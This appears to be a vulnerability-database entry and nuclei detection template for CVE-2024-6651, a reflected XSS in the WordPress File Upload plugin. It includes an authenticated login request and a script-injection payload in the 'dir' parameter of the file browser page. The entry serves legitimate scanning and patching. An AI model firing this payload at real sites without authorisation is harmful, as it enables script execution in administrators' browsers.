WordPress File Upload Plugin < 4.24.8 - Cross-Site Scripting

highseverity

7.1CVSS score

15.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The WordPress File Upload plugin before version 4.24.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'dir' parameter in the file browser page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

Impact

Attackers can execute arbitrary JavaScript in administrator browsers by crafting malicious URLs with XSS payloads in the dir parameter.

Fix

Update WordPress File Upload plugin to version 4.24.8 or later to address the reflected XSS vulnerability.

How to confirm it

Send: GET /
Positive when: contains "wp-file-upload/"
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=wordpress_file_upload&action=file_browser&dir=7b2BEyT8ArR1jaD9%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3…
Positive when: contains "\"><script>alert(document.domain)</script><test test=" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6651 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6651

info:
  name: WordPress File Upload Plugin < 4.24.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The WordPress File Upload plugin before version 4.24.8 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'dir' parameter in the file browser page before outputting it back, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Attackers can execute arbitrary JavaScript in administrator browsers by crafting malicious URLs with XSS payloads in the dir parameter.
  remediation: |
    Update WordPress File Upload plugin to version 4.24.8 or later to address the reflected XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/65e2c77d-09bd-4a44-81d9-d7a5db0e0f84
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6651
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2024-6651
    cwe-id: CWE-79
    epss-score: 0.15659
    epss-percentile: 0.96875
  metadata:
    max-request: 3
    vendor: WordPress
    product: wp-file-upload
    fofa-query: body='wp-content/plugins/wp-file-upload/'
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,wp-file-upload,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'wp-file-upload/'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/options-general.php?page=wordpress_file_upload&action=file_browser&dir=7b2BEyT8ArR1jaD9%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctest%20test%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script><test test='
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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